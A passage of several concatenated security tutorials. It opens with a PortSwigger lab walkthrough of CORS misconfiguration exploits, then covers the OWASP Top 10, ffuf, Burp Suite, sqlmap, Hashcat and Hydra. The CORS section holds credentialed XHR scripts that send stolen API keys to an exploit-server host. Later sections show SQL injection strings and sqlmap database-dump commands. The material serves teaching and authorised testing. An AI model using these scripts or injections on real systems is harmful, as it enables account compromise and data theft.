After delivering the exploit, click on “Access log” and you should be able to see the captured admin’s API key in the logs. Copy the string that has the key and paste into Burp Suite Decoder and decode it as a URL to retrieve the cleartext value.

Figures 9 & 10 — show the admin API key in the logs and the plain text key value on Decoder.

Case 2: Null Origin

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to the null value and enables passing credentials with the Access-Control-Allow-Credentials set to true.

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Figure 11 — shows the application server accepts null origins.

The exploitation requires us to host the JS script file to be accessible to the targeted user (same as in case #1). Again, we will use the same script – just this time, we will add an iframe sandbox to retrieve the API key. The sandbox property sets the frame’s origin to null so that we can set the Origin header to the null value.

<html>
    <body>
        <iframe style="display: none;" sandbox="allow-scripts" srcdoc="
        <script>
            var req = new XMLHttpRequest();
            var url = 'APPLICATION URL'
            req.onload = retrieveKeys;

            req.open('GET', url + '/accountDetails', true);
            req.withCredentials = true;
            req.send(null);

           function retrieveKeys() {
               fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
            }
        </script>"></iframe>
    </body>
</html>

When the authenticated user clicks on our link [**http://192.168.1.14:5555/cors_null_poc.html**](http://192.168.1.14:5555/cors_null_poc.html.), we will get the API key from the account details. But since our user is not an admin, we won’t be able to retrieve the admin API key.

The point of showing the below steps is that during a web application testing assessment, as a tester, you would be given admin and regular user accounts to test with them. In those cases, you follow the below steps to show your proof of concept through hosting the file locally. Or, of course, you can host the file externally as an alternative option.

_Figures 12 & 13 — show null value is added to the request header, and the user accessed the cors_nullpoc page.

Figure 14 — shows the user’s account details when clicking the link.

Case 3: Trusted Subdomains

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to any of its subdomains and allows credentials with Access-Control-Allow-Credentials set to true.

The exploitation of this case is dependent on whether the existing subdomain is vulnerable to XSS vulnerability to enable the attacker to abuse the misconfiguration.

Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: true

Figure 15 — shows the domain accepts its subdomains’ origins.

If you encounter this scenario, you need to check all the existent subdomains and try to find one with an XSS vulnerability to exploit it.

In the Port Swigger lab #3, the application trusts its subdomain — stock — that is vulnerable to XSS vulnerability in the **ProductId=** parameter.

Figures 16 & 17 — show the stocks subdomain vulnerable to XSS in the ProductId parameter.

We will use the same script to exploit this case, except we will add the location where we inject the payload using the **document.location** function. Then we format the payload to be a one-liner payload so that we can pass it in the parameter.

<script>
    document.location="http://subdomain.domain.com/?productId=<script>
    <script>
       var req = new XMLHttpRequest();
       req.onload = retrieveKeys;
       req.open('GET', "APPLICATION URL/accountDetails",true);
       req.withCredentials = true;
       req.send(null);

       function retrieveKeys() {
            location='https://Exolit_Server_Hostname/log?key='+this.responseText;
        };

  </script> 
      </script>

After that, we save the script as **cors_poc.html**, host it on our server, and send the link to the user.

<html>
<body>
<script>
    document.location="http://Insecure-subdomain/?productId=<script>var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
</body>
</html>

As you can see below in the screenshots, when the user accessed the link, the script injected the payload in the **productId** parameter and retrieved the API key.

Figures 18, 19 & 20 — show injecting the XSS payload and capturing the APi key in action.

Unexploitable Case: Wild Card (*)

The application is NOT vulnerable when the Access-Control-Allow-Origin is set to wildcard ***** , even if the Access-Control-Allow-Credentials header is set to true.

This is because there is a safety check in place that disables the Allow-Credentials header when the origin is set to a wildcard.

Mitigations

• Implement proper CORS headers: The server can add appropriate CORS headers to allow cross-origin requests from only trusted sites.
• Restrict access to sensitive data: It is important to restrict access to sensitive data to only trusted domains. This can be done by implementing access control measures such as authentication and authorization.

Wrapping Up

In this tutorial, we have covered the basics of CORS as a security feature that prevents web pages from making unauthorized requests to different domains.

We also covered the standard CORS testing techniques for detecting and exploiting CORS misconfigurations with tools like Burp Suites and Chrome DevTools.

By implementing and testing CORS correctly, web developers can ensure their web applications are secure and avoid misconfigurations that let attackers access unauthorized resources and compromise the application's security.

Resources

• https://ranakhalil.teachable.com/p/web-security-academy-video-series
• https://www.trustedsec.com/blog/cors-findings/
• https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations
• https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/

What do web app pen-testers and bug bounty hunters have in common? They are both hunting for bugs, but the latter makes more money ;)

Web application security is a broad topic. There are many ways a web app can be exploited. This can be a challenge for security engineers, especially if they are getting started in their careers.

OWASP, short for Open Web Application Security Project, is an organization dedicated to improving software security. OWASP provides tools and resources for security engineers to help make their applications more secure.

OWASP’s most important contribution to cybersecurity is the OWASP Top 10 Vulnerabilities list. This list contains the 10 most critical web application security risks that should be monitored and prevented.

Knowing these 10 security risks will help you reduce the risk of attacks against your company’s web assets. It also helps bug-bounty hunters get an idea of what to look for while auditing web applications.

Let’s look at each OWASP vulnerability in detail.

Injection Attacks

Credits: One.com

An injection is a type of vulnerability in which an attacker injects malicious code into a web app. Injections can lead to unauthorized access to sensitive data, loss of data, or even complete system compromise.

An example of an injection attack is SQL Injection. This is where an attacker injects malicious SQL code into a web application’s SQL query. This is performed when inputs into the web app are not properly checked. If successful, the malicious code gets executed by the database server.

Another example is Command Injection. Here, an attacker injects malicious shell commands into a web application. This can lead to devastating consequences including a complete system takeover.

To prevent injection attacks, check and sanitize all user input. Sanitizing is the removal of harmful or malicious data entered into the input box.

For example, if a user enters any characters other than an alphanumeric string, you can remove them before you send it to the backend and double check it in the backend as well. This helps to eliminate harmful or malicious content and protects against security threats.

Also, always use ready-made SQL queries in the backend instead of generating SQL queries on the fly. Additionally, keep all software and libraries up to date with the latest security patches.

Insufficient Monitoring and Logging

Credits: Scalyr

Insufficient monitoring and logging refers to the lack of proper monitoring and logging for a web server or database. This makes detection and response to security incidents difficult.

For example, if a system does not have proper logging in place, it will be difficult to detect when an attacker tries to compromise the system. Without real-time monitoring, it will be difficult to detect security incidents on time.

To address insufficient monitoring and logging, you should implement robust monitoring systems that capture a wide range of events. This includes logging access to sensitive data, network traffic, and system logs.

Include monitoring for network devices as well by using services like Snort. Snort is a free open source network intrusion detection and prevention system. Also, review and analyze log data periodically to identify trends and potential security incidents.

Broken Authentication

Credits: SSL2BUY

Broken authentication refers to weaknesses in the authentication process. This includes issues such as weak or easily guessable passwords, lack of proper password management, and using vulnerable authentication mechanisms.

For example, an attacker can exploit a system that allows weak passwords by guessing common passwords from a list like rockyou.txt. They can also use brute-force tools like Hydra and other password-cracking tools to break encryption if a weak algorithm is used.

Another example is using easily guessable security questions, such as “What is your mother’s maiden name?”. An attacker who has done basic research on the target can easily answer these questions.

To prevent broken authentication, enable strong authentication mechanisms, such as multi-factor authentication (MFA). Enforce password recycling policies that require users to change passwords periodically.

Sensitive Data Exposure

Credits: Spaceclick

Sensitive Data Exposure refers to storing and transmitting sensitive information without proper security. This includes passwords, credit card numbers, and personally identifiable information (PII).

The most common reason for this is lack of encryption. Encryption is the process of encoding information. This process converts the original text, known as plaintext, into an alternative form known as ciphertext. Ideally, only authorized parties can decipher a ciphertext back to plaintext and access the original information.

For example, if you have a database where you store passwords, you have to use some type of an encryption to protect your customer's passwords. If you store them as plaintext, you will be putting your customers under risk if you expose their passwords.

Without protective methods such as encryption, sensitive data exposure can result in the data being intercepted, stolen, or manipulated by an attacker. To mitigate this risk, always encrypt sensitive information when stored and transmitted.

Always store encrypted passwords instead of plain-text passwords. Enable access controls to ensure that only authorized personnel can access sensitive data.

XML External Entities

Credits: Cobalt.io

XML External Entities is a vulnerability that affects XML processors. This happens when they parse XML input from a user without proper validation.

This vulnerability allows an attacker to inject malicious XML code into an XML document. This can lead to the exposure of sensitive information, denial of service, and even remote code execution.

To prevent XXE attacks, applications should validate and sanitize XML input. Disable XML external entity and DTD processing by default.

Whenever possible, use a less complex data format, such as JSON. Most APIs are now JSON-based, so it would be a win-win to move away from XML to JSON.

Broken Access Control

Credits: JavatPoint

While authentication tells us whether a user can access a system, access control tells us who can access a specific resource in a system.

Broken Access Control happens when an application does not restrict access to sensitive resources. This includes files, database records, or even product features that should be limited to select users.

Broken access control can lead to unauthorized users being able to view, change, or delete sensitive data. To reduce this risk, enable strong access control policies like role-based access for users, admins, and others.

Assign access rights based on the principle of least privilege. This means users should only have the least access required to perform their job. Regular security audits and assessments will help identify these access control vulnerabilities.

Security Misconfiguration

Credits: MyF5

Security Misconfiguration arises when an application is not configured properly. This will result in the exposure of critical information, such as error messages or system details.

For example, if you don't change the default settings of your backend, it can expose the error message to the user instead of gracefully handling it. You can often see this in PHP sites that print an error in the browser instead of a 500 message.

To reduce this risk, hide all debug and error messages from your production application. Apply appropriate security controls and patches as needed, on time. Finally, perform regular security scans and assessments to make sure there is no misconfiguration in your applications.

Cross-Site Scripting (XSS)

Credits: Imperva

Cross-Site Scripting (XSS) is a common security issue in websites. If not handled, an attacker can inject malicious scripts into a web page. This script is then executed by the victim’s web browser.

Consider a website that allows users to post comments. An attacker could craft a comment that contains malicious JavaScript code and add it as a comment. If the input is not sanitized by the website, this code will execute on every user who opens the comments page.

XSS attacks can steal data such as login details, perform unauthorized actions on behalf of the victim, or even redirect the victim to a malicious website. To prevent XSS attacks, always sanitize user-generated content and double-check input data on the server side.

Insecure Deserialization

Credits: Portswigger

Deserialization is the process of converting a stream of bytes back into a data structure that a program can then use. Insecure Deserialization occurs when a web app deserializes untrusted data.

For example, a web application may allow users to upload a file containing serialized Java objects as input. The web application then deserializes the objects and processes them.

An attacker can craft a malicious file, which, when deserialized, will execute malware. This will allow an attacker to perform various types of attacks, such as remote code execution and privilege escalation.

To prevent Insecure Deserialization attacks, double-check all inputs from the user. Limit the amount of code that runs with high privileges and ensure that you encrypt all sensitive data.

Using Components with Known Vulnerabilities

Credits: Wildnet

When you plan to use a piece of software, check for known vulnerabilities. There are many public databases like exploitdb that will help you look for issues with third-party software.

These databases contain publicly disclosed vulnerabilities for various software and applications. Failing to do this will leave your application open to attacks. An attacker will do the research for you and use these vulnerabilities to gain access to your system.

For example, your application may use a third-party library to handle file uploads, but that library might have a known vulnerability. This will leave the application open to attack, even if the rest of the application is secure.

Make sure you do your research before using any third-party software for your business.

Summary

To summarize, OWASP’s Top 10 vulnerabilities is a vital checklist. It helps us to keep our web applications and software secure.

As a pen-tester or a bug bounty hunter, you should be aware of these vulnerabilities to stay ahead of attackers.

Always sanitize user input, employ logging, and do your research before using any third-party software.

Hope you found this article insightful. You can find more AI & cybersecurity articles / videos on my website.

In this article, we will look at what Fuzzing is in detail. You'll also learn about a popular fuzzing tool called FFUF, and we'll go through a step-by-step guide on how to use it to test a web application.

Whether you’re a seasoned pentester or just getting started, this article will give you the information you need to start using fuzzing to improve your web application pentesting skills.

What is Fuzzing?

First, let’s define what fuzzing is. Fuzzing, in general, is a technique for finding vulnerabilities in software. We do this by providing unexpected or twisted input to the program.

How Fuzzing works

A simple example would be to generate a list of random file names and use fuzzing to see if they exist on the website. Another example would be to fuzz a login form with random inputs to see if we can crash the web application.

During a fuzzing test, we bombard the software with a large number of randomly generated inputs. We then observe the software to see how it handles these inputs.

If there are any unusual behaviors or errors, it means there is a vulnerability in the software. We can use fuzzing to test for a wide variety of vulnerabilities, including input validation issues, access control problems, and other types of security weaknesses.

What is Ffuf?

FFUF (Fuzz Faster U Fool) is a tool that automates the process of fuzzing. Ffuf is designed for security professionals to find vulnerabilities in web applications.

Ffuf does this by sending a large number of requests to a target with various payloads. Ffuf then analyzes the responses and tells us what worked and what didn’t.

We can use Ffuf to test for a wide variety of vulnerabilities, including input validation issues, access control problems, and other types of security weaknesses.

FFUF is also fast and flexible, allowing us to specify the inputs to use for fuzzing and the parameters for the requests sent to the target web application.

Ffuf is also extensively used in bug-bounty hunting, so if you plan to become a bug-bounty hunter, you will be using Ffuf on a daily basis.

How to Install Ffuf

Now that you know what Ffuf is, let’s see how to install and work with it.

If you are using Kali or Parrot, Ffuf comes pre-installed. Since Ffuf is written in the Go programming language, you should first install Go before installing Ffuf.

Here is the link to install Go if you don't have it installed.

Once you have installed Go, you can install FFuf by running the command:

go install github.com/ffuf/ffuf@latest.

Once you install Ffuf, you can check the installation using the help command. You can also use the help command as a reference while working with Ffuf.

FFUF options

How to Use Ffuf to Find Hidden Files & Directories

First, let's see how to find some hidden files on a website. We are going to provide two inputs to Ffuf, one is the URL and the other is a wordlist.

ffuf  -u <http://target.com/FUZZ> -w <wordlist>

If you don’t know what a wordlist is, you can find a video here. A wordlist is just a list of words, in this case, a list of file names we are looking for on the website.

Here is a simple wordlist we can use.

index.html
root.html
admin.html
admin
root
upload
assets
favicon.ico
style.css
public

You can see that the target URL has the FUZZ placeholder. This placeholder will be replaced with the words in the wordlist.

For example, if we have index.html in the wordlist, the URL will become target.com/index.html. Ffuf will then hit this URL and tell us whether the file exists or not based on the website’s response.

Here is a sample response from Ffuf on running it on a target:

Fuzzing for hidden files and directories

This is how Ffuf works: it takes in a wordlist and tries to enumerate the target for the words in the wordlist. Let's see a couple more ways of using Ffuf.

How to Fuzz POST Requests with Ffuf

FFuf also allows you to specify different request methods and customize headers. This is useful when you are fuzzing APIs and individual web application endpoints.

For example, you can send a POST request with a custom header and a JSON payload.

ffuf -X POST
-H "Content-Type: application/json"
-d '{"key": "FUZZ"}' -w wordlist.txt
-u <http://target.com/endpoint>

How to Use Filters and Saving Results with Ffuf

When scanning large web applications, the results can be overwhelming. With Ffuf, you can also use various filters and options to narrow down the results.

For example, to only show responses with a status code of 200, you can use the -sc flag.

ffuf -w wordlist.txt -u <http://target.com/FUZZ> -sc 200

You can also save the scan results to a text file. This can then be imported into other tools like Metasploit or Burpsuite. You can use the -of flag to save the results to a text file.

ffuf -w wordlist.txt -u <http://target.com/FUZZ> -of results.txt

Ffuf Documentation

Here are some more things Ffuf can do:

• Ability to scan directories recursively
• Advanced response filtering
• Support for GET, POST, and other HTTP methods
• Support for TLS/SSL connections
• Performance optimization for speeding up scans
• Output formatting for easy parsing
• Integration with other tools such as Burp Suite

These are just a few examples of using FFuf, but there are many more options and features available. I encourage you to check out the awesome documentation put together by Codingo.

Summary

Fuzzing is a technique for testing software by providing it with invalid, unexpected, or random data inputs. This is to make the software behave in an unexpected or insecure way.

Ffuf is a popular tool used for performing web application fuzzing. Whether you’re a pentester or just looking to improve the security of your web apps, this article will give you the knowledge you need to get started with fuzzing using ffuf.

Hope you enjoyed this article. You can find more about my articles and videos on my website.

Burp Suite is a powerful and widely-used web application testing platform. It helps security engineers identify potential risks in web applications.

Burp Suite is also widely used by bug-bounty hunters. Since Burp Suite is a fully featured web-auditing platform, it comes with many tools to help you discover bugs in web applications. You can also use third-party modules to further improve Burp Suite's capabilities.

Burp Suite is an essential tool for any security testing team. In this article, we’ll take a closer look at the main components of Burp Suite, including the proxy, the intruder, and the repeater.

Burp Proxy

One of the key components of Burp Suite is the Burp Proxy. This tool allows you to intercept and inspect traffic between your browser and the target.

By intercepting this traffic, you can understand exactly what data is being sent and received. This is useful for identifying potential vulnerabilities or misconfigurations in the application.

The proxy is particularly useful for identifying issues such as cross-site scripting (XSS) and SQL injection.

XSS is a type of security vulnerability that allows an attacker to inject malicious code into a web page. SQL injection allows an attacker to inject malicious SQL code into a web application.

By identifying these types of issues, you can take steps to mitigate them and improve the security of your application.

Also, Burp proxy allows us to forward requests to other Burp tools before sending them to the target. This allows us to further analyze the traffic and inspect individual requests and responses. This can be useful for identifying patterns or anomalies that might indicate a vulnerability.

Burp Repeater

Another key component of Burp Suite is the Burp Repeater. The Repeater is a powerful tool that allows you to test the application by sending custom requests and analyzing the responses.

One of the key benefits of the Repeater is its ability to identify vulnerabilities that might not be visible during automated scans. Automated scans are useful for identifying a wide range of common vulnerabilities, but they may not be able to detect all the issues.

The Repeater gives us greater control over the testing process. It allows us to fine-tune our tests to identify specific vulnerabilities. For example, we will be able to identify a vulnerability by sending a request with a specific input.

By analyzing the response, we may find that the application is behaving in unexpected ways. This will indicate the possibility of a vulnerability. This vulnerability might not be detected using an automated scan, but it could potentially be exploited by an attacker.

The Repeater can also test the application’s resilience to specific types of attacks. For example, you can use the Repeater to send a series of requests to test the application’s ability to handle SQL injection or cross-site scripting (XSS) attacks.

By understanding the application’s behavior in these scenarios, you can take steps to improve its security.

Burp Intruder

One of the most powerful tools in Burp Suite is the Burp Intruder. This tool allows you to launch automated attacks on web applications to test their security.

With the Burp Intruder, you can test for a wide range of vulnerabilities. This includes SQL injection, cross-site scripting (XSS), and directory traversal. The intruder is highly flexible, allowing us to customize our attacks.

We can also use the intruder to perform specific audits such as brute-forcing, dictionary attacks, and fuzzing. The Intruder also lets us target specific areas of the application by selecting custom parameters.

Given the damage Intruder can cause if used carelessly, Burp Suite has implemented rate-limiting in the community edition. This means that you can only use the Intruder for a certain number of requests, such as brute-forcing a login form, in the free version of the tool.

If you’re planning to use Burp Suite to audit your business applications, consider purchasing a commercial license. This will give you access to all the features of Burp Suite without any rate limits.

Other Burp Tools

Burp Suite also comes with many additional tools. These include the spider, scanner, decoder, sequencer, and comparer.

These tools serve as utilities in general web application audits. For example, the spider can help discover and map the content and structure of a web application. We can use the scanner to perform automated vulnerability scans.

The decoder helps to decode and analyze encoded data, while the sequencer enables us to test the randomness of tokens and session IDs. The comparer compares the behavior of different requests and responses.

In addition to these, there are also many third-party modules available in Burp Suite. These modules further extend the capabilities of Burp Suite to help us test our web applications.

Summary

In conclusion, Burp Suite is a powerful set of tools for web application auditing. It includes a range of tools and features for testing the security of web applications.

The proxy, the intruder, and the repeater are some of the main components of Burp Suite, each one with a specific function for identifying and assessing security risks.

With the help of these tools, security professionals and testers can identify and mitigate risks in web applications. With all-around web auditing features, it is also an essential tool for bug-bounty hunters.

Hope you enjoyed this article. You can find more about my articles and videos on my website.

From small businesses to large-scale enterprises, databases play a critical role in keeping the systems up and running. Malicious actors always look to gain control of databases during cyberattacks.

In this article, you'll learn how attackers can gain control of databases and what you can do about it.

Note that this article is for educational purposes only. If you do anything illegal and get in trouble, I'm not responsible. Always get permission from the site/system owner before scanning / brute-forcing / exploiting a system.

What is SQL Injection?

SQL injection is a type of cyber attack in which an attacker inserts malicious code into an SQL statement. If successful, it will help the attacker gain access to sensitive data in a database.

Once the attacker takes control of the database, they can steal, modify or even delete the data.

Here are a few scenarios of SQL Injection.

• An attacker might insert a malicious piece of code into a login form. For example, if the login form expects the user to enter their username and password, the attacker might enter a username like admin’ OR ‘1’=’1. This will always evaluate to true and will allow the attacker to log in without knowing the actual password.
• An attacker might insert a malicious piece of code into a search form. For example, if the search form expects the user to enter a keyword, the attacker can enter a keyword like ‘ OR ‘1’=’1. This will return all the records from the database, rather than the ones that match the keyword.
• An attacker can insert a malicious piece of code into a form that allows users to update their information. For example, if the form expects the user to enter their phone number, the attacker might enter a phone number like ‘; DROP TABLE users; — ,. This will delete the entire users table from the database.

These are just a few examples of SQL injection attacks. There are many other ways that attackers can use these techniques to gain access to a database. Databases that are not updated/maintained regularly will often be vulnerable to SQL injection attacks.

What is SQL Map?

SQLmap is an open-source tool that automatically finds and exploits SQL injection vulnerabilities. We can use it to test web applications for SQL injection vulnerabilities and gain access to a vulnerable database.

SQLmap is a favorite tool among pen-testers for its ease of use and flexibility. It is written in Python and runs on Windows, Linux, and MacOS.

We can use SQLmap to perform a wide range of attacks. This includes database fingerprinting, data extraction, and even taking over an entire database. We can also use it to bypass login forms and execute arbitrary commands on the underlying operating system.

How to Install SQLMap

SQLMap comes pre-installed in Kali Linux and Parrot OS. To install SQLMap in Ubuntu / Debian-based systems, use the apt package manager.

apt install sqlmap

To install SQLMap on Mac, we can use Homebrew.

brew install sqlmap

If you are using other platforms, you can find the installation instructions here.

Once installation is complete, we can check the help menu using the -h command. This will also be a handy reference when working with SQLMap.

sqlmap -h

SQLMap help menu

SQLMap also provides a detailed help menu. We can access it using the -hh command.

sqlmap -hh

SQLMap advanced help menu

Now that we have installed SQLMap, let's look at how to work with it.

How to Use SQL Map

SQLMap is a tool used for the automated exploitation of SQL injection vulnerabilities. We can use SQLMap to test websites and databases for vulnerabilities and exploit those vulnerabilities to take over the database.

To use SQLMap, we first need to identify a website or database that is vulnerable to SQL injection. We can either do it manually or use SQLMap to scan the website. Once we have identified a vulnerable website or database, we can use SQLMap to exploit it.

Here is the basic SQLMap command:

$ sqlmap -u [URL] -p [parameter] --dbs

This command will tell SQLMap to scan the specified URL and parameter for vulnerabilities. This includes exposing data, updating data, or even dumping the entire database.

The simplest way to check if a website is vulnerable to SQL injection is via query parameters. Let's assume a website lists user information using an id parameter – for example, testsite.com/page.php?id=1.

This can be passed as input to SQLMap and SQLMap will automatically scan the site to see if the database is vulnerable. Here is the command:

sqlmap -u http://testsite.com/page.php?id=1 --dbs

The -u flag is used to specify an URL and the --dbs command tells SQLMap to try to enumerate the database.

If the attack is successful, SQLMap will list the database used along with the list of tables.

SQLMap output

Once we have gained an initial foothold, we can now work with the database. Here is the command to list the tables in a database.

sqlmap -u https://testsite.com/page.php?id=1 -D <db_name> --tables

To list the column in a table, we can use this command:

sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> -T <table_name> --columns

To dump an entire database, this is the command:

sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --dump-all

SQLMap provides many other useful commands like setting cookies, cycling user agents, and many others. For more information and a complete list of options, you can refer to the SQLMap documentation.

How to Defend Against SQL Injection Attacks

To prevent SQL injection attacks, we should follow these steps:

Use parameterized queries

Always use parameterized queries when interacting with a database. This means that we should use placeholders in our SQL statements for any user input. We can then supply the input as a separate parameter when the query is executed.

This will prevent an attacker from being able to inject arbitrary SQL into our SQL statements.

Never trust user input

We should always check and sanitize any user input to ensure that it is safe. We must make sure the input does not contain any dangerous characters or malicious code.

This will help prevent an attacker from being able to inject SQL queries even if they are able to find a way to bypass our use of parameterized queries.

Use prepared statements

If the database supports prepared statements, we should use them instead of parameterized queries.

Prepared statements are pre-compiled SQL statements. We can execute these statements multiple times with different parameters.

This will make it more difficult for an attacker to inject malicious code since the prepared statements are pre-compiled.

Authentication and access controls

We should have strong authentication and access controls to our database. This will ensure that only authorized users are able to access our database and protects it from malicious actors.

Monitoring and alerts

Always watch your database for suspicious activity and set alerts. This includes failed login attempts or high numbers of SQL queries.

This can help us detect an SQL injection attack early on, and take appropriate action to stop it.

Summary

Databases are the backbone of every business. Updating, maintaining, and securing databases is essential to protect them from malicious actors.

SQLmap is a powerful tool that helps us audit database vulnerabilities. It is important for developers and security professionals to be familiar with SQLMap for defending against SQL injection attacks.

Loved this article? Join Stealth Security Weekly Newsletter and get articles delivered to your inbox every Friday. You can also connect with me on Linkedin.

Hashing is often confused with encryption. A simple difference is that hashed data is not reversible. Encrypted data can be reversed using a key. This is why applications like Telegram use encryption while passwords are hashed.

In this article, we will look at installing and working with Hashcat. Hashcat is a simple but powerful command line utility that helps us to – you guessed it – crack hashes.

We will first start by looking at how hashing works in detail.

Note: All my articles are for educational purposes. If you use this information illegally and get into trouble, I am not responsible. Always get permission from the owner before scanning / brute-forcing / exploiting a system.

What is Password Hashing?

Hashing is the process of converting an alphanumeric string into a fixed-size string by using a hash function. A hash function is a mathematical function that takes in the input string and generates another alphanumeric string.

How hashing works

There are many hashing algorithms like MD5, SHA1, and so on. To learn more about different hashing algorithms, you can read the article here.

The length of a hash is always a constant, irrespective of the length of the input. For example, if we use the MD5 algorithm and hash two strings like “Password123” and “HelloWorld1234”, the final hash will have a fixed length.

Here is the MD5 hash for “Password123”.

42f749ade7f9e195bf475f37a44cafcb

If we use the input string as “HelloWorld1234”, this will be the result:

850eaebd5c4bb931dbb2bbcf7994c021

Now there is a similar algorithm called encoding. A popular encoding algorithm is base64. Here is how the same “Password123” will look if we encode it with base64:

UGFzc3dvcmQxMjM=

So what is the difference between hashing and encoding? When we encode a string, it can be easily decoded to get the source string. But if we hash a string, we can never get to the source string (maybe with quantum computers, but that's another topic for discussion).

Hashing and encoding have different use cases. We can apply encoding to mask/simplify strings while hashing is used to secure sensitive data like passwords.

If hashes are not reversible, how would we compare the strings? Simple – we compare the hashes.

When we signup for a website, they will hash our password before saving it (hopefully!). When we try to log in again, the same hashing algorithm is used to generate a hash for our input. It is then compared with the original hash saved in the database.

This approach is also what gives rise to hashing attacks. A simple way to attack hashes is to have a list of common passwords hashed together. This list is called a Rainbow table. Interesting name for a table of hashes.

Now that we know how hashing works, let's look at what Hashcat is.

What is Hashcat?

Hashcat is a fast password recovery tool that helps break complex password hashes. It is a flexible and feature-rich tool that offers many ways of finding passwords from hashes.

Hashcat is also one of the few tools that can work with the GPU. While CPUs are great for sequential tasks, GPUs have powerful parallel processing capabilities. GPUs are used in Gaming, Artificial intelligence, and can also be used to speed up password cracking.

Here is the difference between a CPU and a GPU if you want to learn more.

Other notable features of Hashcat include:

• Fully open source.
• Support for more than 200 hashing algorithms.
• Support for Windows, Linux, and Mac.
• Support for cracking multiple hashes in parallel.
• Built-in benchmarking system.

Now that we know what Hashcat is, let's go and install it.

How to Install Hashcat

Hashcat comes pre-installed in Kali and Parrot OS. To install it in Ubuntu / Debian-based systems, use the following command:

$ apt install hashcat

To install it on a Mac, you can use Homebrew. Here is the command:

$ brew install hashcat

For other operating systems, a full list of installation instructions can be found here.

Once the installation is done, we can check Hashcat’s help menu using this command:

$ hashcat -h

Hashcat help menu

In addition to Hashcat, we will also need a wordlist. A word list is a list of commonly used terms. This can be a password wordlist, username wordlist, subdomain wordlist, and so on.

A popular password wordlist is rockyou.txt. It contains a list of commonly used passwords and is popular among pen testers. You can find the Rockyou wordlist under /usr/share/wordlists in Kali Linux.

How to Work with Hashcat

Now that we know what hashing and Hashcat are, let’s start cracking some passwords.

Before cracking a hash, let's create a couple of hashes to work with. We can use a site like Browserling to generate hashes for input strings.

Let’s create two hashes: A MD5 hash and a SHA1 hash for the string “Password123”. I'm using a weak password to help you understand how easy it is to crack these passwords.

Here are the generated hashes for the input strings.

MD5 hash -> 42f749ade7f9e195bf475f37a44cafcb
SHA1 hash -> b2e98ad6f6eb8508dd6a14cfa704bad7f05f6fb1

We can store these hashes under the names md5.txt and sha1.txt to use them when working with Hashcat.

To crack a password using Hashcat, here is the general syntax.

$ hashcat -m value -a value hashfile wordlist

Let’s dissect the syntax. We have used two flags, -m and -a . The -m flag is used to specify the hash type and the -a flag is to specify the attack mode. You can find the list of hash types and attack modes here.

Let’s crack our md5 hash first. We will crack this hash using the Dictionary mode. This is a simple attack where we provide a list of words (RockYou) from which Hashcat will generate and compare hashes.

We can specify the hash mode as “md5” using the value 0. But Hashcat can also identify the hash type automatically for common hash algorithms.

For the attack mode, we will be using the dictionary mode (0) using the flag -a. Here is the full command:

$ hashcat -m 0 -a 0 md5.txt rockyou.txt

Hashcat will quickly find the value for the hash, in this case, “Password123”:

Hashcat MD5 crack

Looks simple, doesn't it? Now let’s crack our SHA hash. The hash mode value for SHA1 is 100. Here is the command:

$ hashcat -m 100 -a 0 sha1.txt rockyou.txt

And here is the output from Hashcat:

Hashcat SHA1 crack

Hashcat supports almost all hashing algorithms with various attack modes. Let's look at a few attack modes and see how they work.

Dictionary attack (-a 0)

As we saw in our example above, a dictionary attack is performed by using a wordlist. A dictionary attack is also the default option in Hashcat. The better the wordlist is, the greater the chances of cracking the password.

Combinator attack (-a 1)

The combinator attack will try different combinations of words from our wordlist. For example, if our wordlist contains the words “pass”, ”123", and ”hello”, Hashcat will generate the following wordlist.

passpass
pass123
passhello
123pass
123123
123hello
hellopass
hello123
hellohello

As you can see, using a simple wordlist can give us a number of combinations. This attack is great if we know some terms that might be used in the password. Keep in mind that, the larger the initial wordlist, the more complicated the final wordlist gets.

Mask attack (-a 3)

The mask attack is similar to the dictionary attack, but it is more specific. Brute-force approaches like dictionary attacks can take a long time to crack a password. But if we have information regarding the password, we can use that to speed up the time it takes to crack the password.

For example, if we know the length of the password and a few characters that might be in the password, we can generate a custom wordlist with those characters.

The mask attack is out of scope for this article, but you can learn more about mask attacks here.

In addition to these common attack types, there are more attack modes in Hashcat. This includes Hybrid mode, Permutation attack, Rule-based attack, and so on. Each of these modes can be used for specific use cases and to speed up password cracking.

How to Defend Against Hashcat

The first and obvious step is to set strong passwords. The stronger the password is, the harder it is to crack it. You can check if your password has been exposed to the internet here.

A more effective way is to add salts to password hashes. A salt is an additional string added to the existing password so the hash generated is different from the normal hash of a string.

For example, if a string “sdf909” is added to a password “Password123”, Rainbow table attacks will immediately fail since they don't have hashes with the salt added to them.

To crack a salted password, the attacker should know both the hash and salt values. This makes it harder to crack hashes using methods such as Rainbow tables.

We can further strengthen salting by using dynamic salts instead of static salts. We can write a function that generates a salt value for every string making it exponentially harder to crack a salted password.

You can read this article to learn more about how Salts work in password hashing.

Summary

Hashing is the method of using a mathematical function to generate a random string. It is a one-way function and helps to secure data such as user passwords.

Hashcat is a powerful tool that helps to crack password hashes. Hashcat supports most hashing algorithms and can work with a variety of attack modes.

To enforce security and protect hashes from attacks, use strong passwords and salts before hashing passwords.

Loved this article? Join Stealth Security Weekly Newsletter and get articles delivered to your inbox every Friday. You can also connect with me on Linkedin.

Hydra can perform rapid dictionary attacks against more than 50 protocols. This includes telnet, FTP, HTTP, HTTPS, SMB, databases, and several other services.

Hydra was developed by the hacker group “The Hacker’s Choice”. Hydra was first released in 2000 as a proof of concept tool that demonstrated how you can perform attacks on network logon services.

Hydra is also a parallelized login cracker. This means you can have more than one connection in parallel. Unlike in sequential brute-forcing, this reduces the time required to crack a password.

In my last article, I explained another brute-force tool called John the Ripper. Though John and Hydra are brute-force tools, John works offline while Hydra works online.

In this article, we will look at how Hydra works followed by a few real-world use cases.

